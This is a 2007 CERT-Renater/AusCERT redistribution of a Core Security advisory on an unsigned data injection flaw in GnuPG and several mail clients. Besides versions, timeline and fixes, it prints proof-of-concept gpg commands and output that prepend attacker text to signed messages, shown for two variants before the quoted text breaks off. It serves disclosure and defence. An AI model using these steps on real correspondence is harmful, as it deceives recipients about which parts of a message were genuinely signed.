===================================================================== CERT-Renater Note d'Information No. 2007/VULN084 _____________________________________________________________________ DATE : 07/03/2007 HARDWARE PLATFORM(S) : / OPERATING SYSTEM(S) : Systems running GnuPG. ====================================================================== =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2007.0143 -- [Win][UNIX/Linux] GnuPG and GnuPG clients unsigned data injection vulnerability 6 March 2007 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: GnuPG 1.4.6 and prior GPGME 1.1.3 and prior Enigmail 0.94.2 and prior KMail 1.9.5 and prior Evolution 2.8.1 and prior Sylpheed 2.2.7 and prior Mutt 1.5.13 and prior GNUMail 1.1.2 and prior Publisher: Core Security Technologies Operating System: UNIX variants (UNIX, Linux, OSX) Windows Impact: Provide Misleading Information Access: Remote/Unauthenticated CVE Names: CVE-2007-1269 CVE-2007-1268 CVE-2007-1267 CVE-2007-1266 CVE-2007-1265 CVE-2007-1264 CVE-2007-1263 Original Bulletin: http://www.coresecurity.com/?action=item&id=1687 http://lists.gnupg.org/pipermail/gnupg-devel/2007-March/023686.html - --------------------------BEGIN INCLUDED TEXT-------------------- > > Core Security Technologies - CoreLabs Advisory > http://www.coresecurity.com/corelabs/ > > GnuPG and GnuPG clients unsigned data injection vulnerability > > > > Date Published: 2007-03-05 > > Last Update: 2007-03-05 > > Advisory ID: CORE-2007-0115 > > Bugtraq IDs: > BID 22757 - GnuPG > BID 22758 - Enigmail > BID 22759 - KMail > BID 22760 - Evolution > BID 22777 - Sylpheed > BID 22778 - Mutt > BID 22779 - GNUMail > > CVE Names: > CVE-2007-1263 - for the visual distinction issues in GnuPG itself, > all 4 attacks. > CVE-2007-1264 - Enigmail improper use of --status-fd > CVE-2007-1265 - KMail improper or non-existing use of --status-fd > CVE-2007-1266 - Evolution improper or non-existing use of --status-fd > CVE-2007-1267 - Sylpheed improper or non-existing use of --status-fd > CVE-2007-1268 - Mutt improper or non-existing use of --status-fd > CVE-2007-1269 - GNUMail improper or non-existing use of --status-fd > > Title: GnuPG and GnuPG clients unsigned data injection vulnerability > > Class: Implementation Error > > Remotely Exploitable: Yes > > Locally Exploitable: Yes > > Advisory URL: > http://www.coresecurity.com/?action=item&id=1687 > > Vendors contacted: > > GnuPG > . Core notification: 2007-02-01 > . Notification acknowledged by GnuPG maintainers: 2007-02-02 > . Technical details sent by Core: 2007-02-05 > . GnuPG response (incorrect use of GnuPG): 2007-02-14 > . GnuPG states that they will issue a patch: 2007-02-20 > . Patch received from the GnuPG team: 2007-02-20 > . GnuPG develops a patch for GPGME: 2007-02-26 > . New version of GnuPG and GPGME released: 2007-03-05 > > Enigmail > . Core notification: 2007-02-15 > . Technical details sent by Core: 2007-02-15 > . Notification acknowledged by Enigmail: 2007-02-16 > . Issue reproduced and confirmed by Enigmail: 2007-02-19 > . Enigmail develops a working patch: 2007-02-20 > > KMail > . Core notification: 2007-02-23 > . Notification acknowledged by KMail: 2007-02-24 > . Technical details sent by Core: 2007-02-26 > > Evolution > . Core notification: 2007-02-23 > > Sylpheed > . Core notification: 2007-02-23 > > Mutt > . Core notification: 2007-02-23 > . Notification acknowledged by Mutt: 2007-02-24 > . Technical details sent by Core: 2007-02-26 > > GNUMail > . Core notification: 2007-02-23 > . Notification acknowledged by GNUMail: 2007-02-23 > . Technical details sent by Core: 2007-02-26 > > Release Mode: COORDINATED RELEASE > > > *Vulnerability Description* > > Scripts and applications using GnuPG are prone to a vulnerability in how > signature verification information is shown to the end user. > > An attacker is able to add arbitrary content to a signed message. > The receiver of the message (using a mail client such as Enigmail > to read the message) will not be able to distinguish the forged and the > properly signed parts of the message. > > This problem derives from the fact that a valid OpenPGP message can > include multiple portions, each of them in turn considered a message but > some of which may or may not be signed and/or encrypted. Vulnerable third > party applications do not use the appropriate GnuPG API to determine > message boundaries and do not explicitly differentiate messages in their > output to end users. > > In some cases, and depending on how GnuPG is used, even an advanced user > directly using GnuPG from the command line may be fooled by this attack. > > It's important to note that this IS NOT a cryptographic problem, but > rather a problem on how information is shown to the user and how > third-party > applications and GnuPG interact with each other. > > *Vulnerable Packages* > > GnuPG 1.4.6 and previous versions. > > Enigmail 0.94.2 and previous versions. > > KMail 1.9.5 and previous versions. > > Evolution 2.8.1 and previous versions. > > Sylpheed 2.2.7 and previous versions. > > Mutt 1.5.13 and previous versions. > > GNUMail 1.1.2 and previous versions. > > Other scripts and applications using GnuPG may be vulnerable. > > > *Solution/Vendor Information/Workaround* > > The following versions of GnuPG and GPGME resolve this issue: > GnuPG 1.4.7 > GPGME 1.1.4 > > They can be downloaded from: http://www.gnupg.org/download/ > > The fixed versions enforce a limit of processing only one message on each > run so third party applications and direct GPG users can not be confused > by multiple messages with different security properties being intermingled > in the output without clear message boundaries. > > For application developers using GnuPG as backend, it's a must to make the > application pay attention to the output of the "--status-fd" option. > > Workaround: > > If a signed message looks suspicious, the validity of the signature can > be verified manually by invoking GnuPG from the command line and adding > the special option "--status-fd", as described below, to gain extra > information. > > > *Credits* > > This vulnerability was found by Gerardo Richarte from Core Security > Technologies. > > > *Technical Description - Exploit/Concept Code* > > As explained by RFC2440, an OpenPGP message, as used by GnuPG, is composed > of several packets. A packet is a chunk of data that has a tag specifying > its meaning. An OpenPGP message consists of a number of packets. Some of > those packets may contain other OpenPGP packets. > > The most common types are a plaintext packet inside a signature packet, > or a plaintext packet inside a signature packet inside an encrypted packet. > When two or more OpenPGP messages are concatenated together, a new > valid (and longer) message is obtained, and GnuPG handles it without > problem, processing packets and messages one after the other. Our > attack takes advantage of this feature of GnuPG. (It's actually a real > feature). > > A standard signed-only message can be represented as: > > Compressed (OnePassSignature + Literal(text) + Signature) > > When the message is also encrypted, the session key, and an extra > encryption layer is added: > > PubKeyEncrypted + EncryptedData( Compressed ( ... ) ) > > The message could be encrypted using symmetric crypto instead of public > key: > > SimKeyEncrypted + EncryptedData( Compressed ( ... ) ) > > If the message is sent on email, or some other 7-bit medium, it may > be ASCII-armored by encoding it using base64 and then appending a > base64-encoded crc24 of the hole. > > AsciiArmor(PubKeyEncrypted + EncryptedData( Compressed ( ... ) ) > > Our attack consists in prepending a literal packet before a normal > message, but inside the AsciiArmor if needed. We thought of several > variants for this attack, and some more can be easily generated. > > There are four different ways to add text to a signed message, without > invalidating the signature. > > *Attack Variant 1: Prepending plaintext to an only-signed message. > > This variant is the simplest, and consists on prepending a single Literal() > packet to an existing message, resulting in, for example: > > Literal(bad_text) + Compressed( OnePassSignature + Literal(text) + > Signature) > > When GnuPG processes this message, it first outputs , then > outputs and then verifies what's enclosed between the > OnePassSignature and Signature packets, reporting that the signature is > correct (for ). When GnuPG is used through standard input and > standard output (as it is in most cases when it's used by other > applications such as MUAs), no distinction or separation is shown in > the output between the two texts, hence the application reading GnuPG's > output has no way to decide if the original input consisted of several > texts or just one correctly signed. And this is exactly the problem we > found. > > Example: > > ---------------- > gera@poxiran:~/gpg$ gpg -z9 --output signed.gpg --sign > > You need a passphrase to unlock the secret key for > user: "Gerardo Richarte " > 1024-bit DSA key, ID 3944C2D0, created 1999-02-16 > > This text is signed, it's a simple text to use as an example. > > gera@poxiran:~/gpg$ gpg -z0 --output forged.gpg --store > This text is inserted by the attacker > gera@poxiran:~/gpg$ > gera@poxiran:~/gpg$ cat forged.gpg signed.gpg >hoax.gpg > gera@poxiran:~/gpg$ gpg This text is inserted by the attacker > This text is signed, it's a simple text to use as an example. > gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID > 3944C2D0 > gpg: Good signature from "Gerardo Richarte " > Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 > > ---------------- > > We can inspect the structure of the message using --list-packets. > Although it doesn't show the nesting levels, it's a good help when > trying these things: > > ---------------- > gera@poxiran:~/gpg$ gpg --list-packets :literal data packet: > mode b (62), created 1172176500, name="", > raw data: 38 bytes > :compressed packet: algo=1 > :onepass_sig packet: keyid 404F4B533944C2D0 > version 3, sigclass 00, digest 2, pubkey 17, last=1 > :literal data packet: > mode b (62), created 1172176306, name="", > raw data: 97 bytes > :signature packet: algo 17, keyid 404F4B533944C2D0 > version 3, created 1172176420, md5len 5, sigclass 00 > digest algo 2, begin of digest 09 46 > data: [160 bits] > data: [159 bits] > ---------------- > > It's important to state here that GnuPG does offer an interface for > applications to obtain additional information when using it through > standard in and standard out, and this interface, when properly used, can > prevent the attack described here (see the description of "--status-fd" in > GnuPG documentation for more information). Using --status-fd is the > officially recommended way to use GnuPG from another application. > > For example: > > ---------------- > gera@poxiran:~/gpg$ gpg --status-fd 1 [GNUPG:] PLAINTEXT 62 1172176500 > [GNUPG:] PLAINTEXT_LENGTH 38 > This text is inserted by the attacker > [GNUPG:] PLAINTEXT 62 1172176306 > [GNUPG:] PLAINTEXT_LENGTH 97 > This text is signed, it's a simple text to use as an example. > gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID > 3944C2D0 > [GNUPG:] SIG_ID iaMH4I4KCsPrWmVvMh3y0MqlUd0 2007-02-22 1172176420 > [GNUPG:] GOODSIG 404F4B533944C2D0 Gerardo Richarte > gpg: Good signature from "Gerardo Richarte " > [GNUPG:] VALIDSIG A3901BBA2C58D6795A7186F9404F4B533944C2D0 2007-02-22 > 1172176420 0 3 0 17 2 00 A3901BBA2C58D6795A7186F9404F4B533944C2D0 > [GNUPG:] TRUST_UNDEFINED > Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 > ---------------- > > When GnuPG is used on files (vs. used through standard input and output), > the user will be asked if the output file can be overwritten, and only the > content of one Literal packet will be stored in the output file. If the > user chooses not to overwrite the file, and just presses Enter as answer > to the alternative file name, GnuPG's behaviour is not clear enough, and > the user may be fooled into believing the forged text is actually > correctly signed. However, the sole y/n question may be interpreted as > enough sign that something weird is going on: > > ---------------- > gera@poxiran:~/gpg$ gpg hoax.gpg > File `hoax' exists. Overwrite? (y/N) n > Enter new filename: > gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID > 3944C2D0 > gpg: Good signature from "Gerardo Richarte " > Primary key fingerprint: A390 1BBA 2C58 D679 5A71 86F9 404F 4B53 3944 C2D0 > gera@poxiran:~/gpg$ ls -l > total 16 > -rw-r--r-- 1 gera gera 38 2007-02-23 12:16 hoax > -rw-r--r-- 1 gera gera 216 2007-02-22 17:36 hoax.gpg > -rw-r--r-- 1 gera gera 46 2007-02-22 17:35 prefix.gpg > -rw-r--r-- 1 gera gera 170 2007-02-22 17:33 signed.gpg > gera@poxiran:~/gpg$ cat hoax > This text is inserted by the attacker > gera@poxiran:~/gpg$ > ---------------- > > *Attack Variant 2: Prepending plaintext to a "clearsign" message > > Clearsign messages are messages signed and encapsulated to be sent as an > email: the text of the message is not encoded in any way and can be read > without the help of GnuPG, and the signature is encoded using base64. If > you wanted to perform an attack on somebody, you would first need an > email signed by the victim, and then perform this attack on it. > > We found two different ways of prepending a forged text to a clearsign > message. The first is simpler, but probably more visible to the victim. > The second is not so straightforward and clean, but may appear a little > bit less suspicious. > > A description of the first way to prepend plaintext to a "clearsign" > message follows: > > ---------------- > gera@poxiran:~/gpg$ gpg -z0 --store -a --output clear_forged.txt > This text was inserted by the attacker! > gera@poxiran:~/gpg$ gpg --clearsign --output clear_signed.txt > > You need a passphrase to unlock the secret key for > user: "Gerardo Richarte " > 1024-bit DSA key, ID 3944C2D0, created 1999-02-16 > > This text is in clear, and signed. > > gera@poxiran:~/gpg$ cat clear_signed.txt > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > This text is in clear, and signed. > - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. The mailing list you are subscribed to is maintained within your organisation, so if you do not wish to continue receiving these bulletins you should contact your local IT manager. If you do not know who that is, please send an email to auscert@auscert.org.au and we will forward your request to the appropriate person. NOTE: Third Party Rights This security bulletin is provided as a service to AusCERT's members. As AusCERT did not write the document quoted above, AusCERT has had no control over its content. The decision to follow or act on information or advice contained in this security bulletin is the responsibility of each user or organisation, and should be considered in accordance with your organisation's site policies and procedures. AusCERT takes no responsibility for consequences which may arise from following or acting on information or advice contained in this security bulletin. NOTE: This is only the original release of the security bulletin. It may not be updated when updates to the original are made. If downloading at a later date, it is recommended that the bulletin is retrieved directly from the author's website to ensure that the information is still current. Contact information for the authors of the original document is included in the Security Bulletin above. If you have any questions or need further information, please contact them directly. Previous advisories and external security bulletins can be retrieved from: http://www.auscert.org.au/render.html?cid=1980 If you believe that your computer system has been compromised or attacked in any way, we encourage you to let us know by completing the secure National IT Incident Reporting Form at: http://www.auscert.org.au/render.html?it=3192 =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for member emergencies only. =========================================================================== ========================================================= Les serveurs de référence du CERT-Renater http://www.urec.fr/securite http://www.cru.fr/securite http://www.renater.fr ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 151 bd de l'Hopital | fax : 01-53-94-20-41 + + 75013 Paris | email: certsvp@renater.fr + =========================================================